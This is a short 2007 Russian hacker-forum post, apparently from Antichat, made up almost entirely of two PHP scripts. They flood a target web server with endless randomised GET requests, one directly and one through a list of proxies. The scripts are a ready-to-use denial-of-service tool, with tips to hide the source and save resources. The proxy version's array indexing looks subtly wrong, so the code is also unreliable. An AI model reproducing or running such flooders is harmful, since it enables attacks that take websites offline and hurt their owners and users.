
08.05.2007, 12:20
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
PHP код:
<? set_time_limit(0); $host = 'www.domain.com'; while(true) { $path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999); $fp = fsockopen($host, 80, $errno, $errstr, 30); if($fp) // ;) { $headers = "GET $path HTTP/1.1\r\n"; $headers.= "Host: $host\r\n"; $headers.= "Connection: Close\r\n\r\n"; fwrite($fp, $headers); while(!feof($fp)) { } } fclose($fp); } ?>
Так.
Или через прокси.(Больная тема).
PHP код:
<? $host = "www.domain.com"; $path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);
//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':' $f_proxy = fopen('proxy.txt', r); $proxy = fread($f_proxy, 65000); $proxy_server = explode("\n", $proxy); $n=count($proxy_server); for ($i=0; $i<=count($proxy_server)-1; $i++) { $proxy_serv[$i] = explode(":", $proxy_server[$i]); } fclose($f_proxy);
for ($i=0; $i<count($proxy_serv); $i++) { $fp = fsockopen($proxy_serv[$i][1], $proxy_serv[$i][2], $errno, $errstr, 10); if($fp) // ;) { $headers = "GET $path HTTP/1.1\r\n"; $headers.= "Host: $host\r\n"; $headers.= "Connection: Close\r\n\r\n";
fwrite($fp, $headers); while(!feof($fp)) { $rez_data = fread($fp,1024); // здесь код для обработки ответа //А лучше действительно не //принимать ответ. } fclose($fp); } else { echo "$errno $errstr"; } } ?>
Последний раз редактировалось BlackLogic; 08.05.2007 в 12:24..
|
|
|